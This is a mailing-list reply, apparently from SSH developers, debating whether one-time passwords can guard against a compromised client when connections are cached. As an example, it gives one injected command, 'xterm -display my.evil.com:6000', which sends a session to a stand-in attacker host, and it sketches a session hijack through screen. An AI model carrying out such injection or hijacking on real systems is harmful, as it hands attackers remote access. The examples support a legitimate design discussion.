Connection caching?

[Darren Tucker]

Jefferson Ogata wrote:

> Darren Tucker wrote:
> 
>> Jefferson Ogata wrote:
>>
>>> Damien Miller wrote:
>>>
>>>> Jefferson Ogata wrote:
>>>>
>>>>> You're advocating a mechanism that renders one-time passwords 
>>>>> useless against a remote client compromise. 
>>>>
>>>>
>>>> You miss the point: these controls are useless now, if they depend on
>>>> the integrity of an uncontrolled client.
>>>
>>>
>>> I wouldn't agree that they're useless, but they're clearly 
>>> incomplete, hence the /need/ for a configuration directive.
>>
>>
>> Let's imagine for a moment that the server restricts each client to 
>> only one session.  If the client is compromised, there's still nothing 
>> to stop it from jamming, eg, "xterm -display my.evil.com:6000" into 
>> the command line.  Or pretending the connection was terminated and 
>> hijacking the session outright.
> 
> 
> The former is what OTP is supposed to prevent.

Unless your OTP authenticates exactly one *command*, it won't stop a 
compromised client from injecting an extra command into an already 
authenticated login session.

Your original statement was "You're advocating a mechanism that renders 
one-time password useless against a remote client compromise."  What I'm 
saying is that even with your proposed modification, it's still useless 
against remote client compromise.

 > The latter requires an attacker of unusual skill.

Not necessarily.  Trivial example: set the user's login shell to 
"screen" on the machine running the ssh client, let them log in then 
kill their incoming TCP connection and resume their screen session.

>> What it boils down to is that once a client is authenticated, the 
>> server is trusting it with the credentials of the user it allowed to 
>> log in.
> 
> 
> I keep mentioning OTP here...

See above.  A compromised client can do nasty things after OTP 
authentication, whether it's limited to a single session or otherwise.

[examples of insecure behaviour by users]
> Lazy users will do some of those things. But they won't typically scan a 
> hardcopy S/KEY password list in and post it on a web page. If they do, 
> they're not being lazy any more.

That's true.  My point was that they can if they want to and the server 
can't stop it.  Even with the changes you propose, a compromised client 
can run commands on the server after authentication and the server can't 
stop it.

> Access control is supposed to be about authentication /and/ authorization.
> Authentication is ultimately your sole defense against intrusion. When 
> authentication is compromised, authorization is your control on the 
> scope of the compromise. What we have here is degraded control over 
> authorization, and apparently it's been that way for some time.

No, all we have here is another way for a user to do something that they 
can already do (ie run commands on the server).

> It is a reasonable expectation for an admin to be able to say: one 
> authentication authorizes one session. If the admin wants to relax that 
> control, fine, but it needs to be discretionary.

If "session" == "SSH session" that's what you've got now.  What we're 
disagreeing about is the value of making additional restrictions within 
a single SSH session, for the reasons listed above.

-- 
Darren Tucker (dtucker at zip.com.au)
GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
     Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.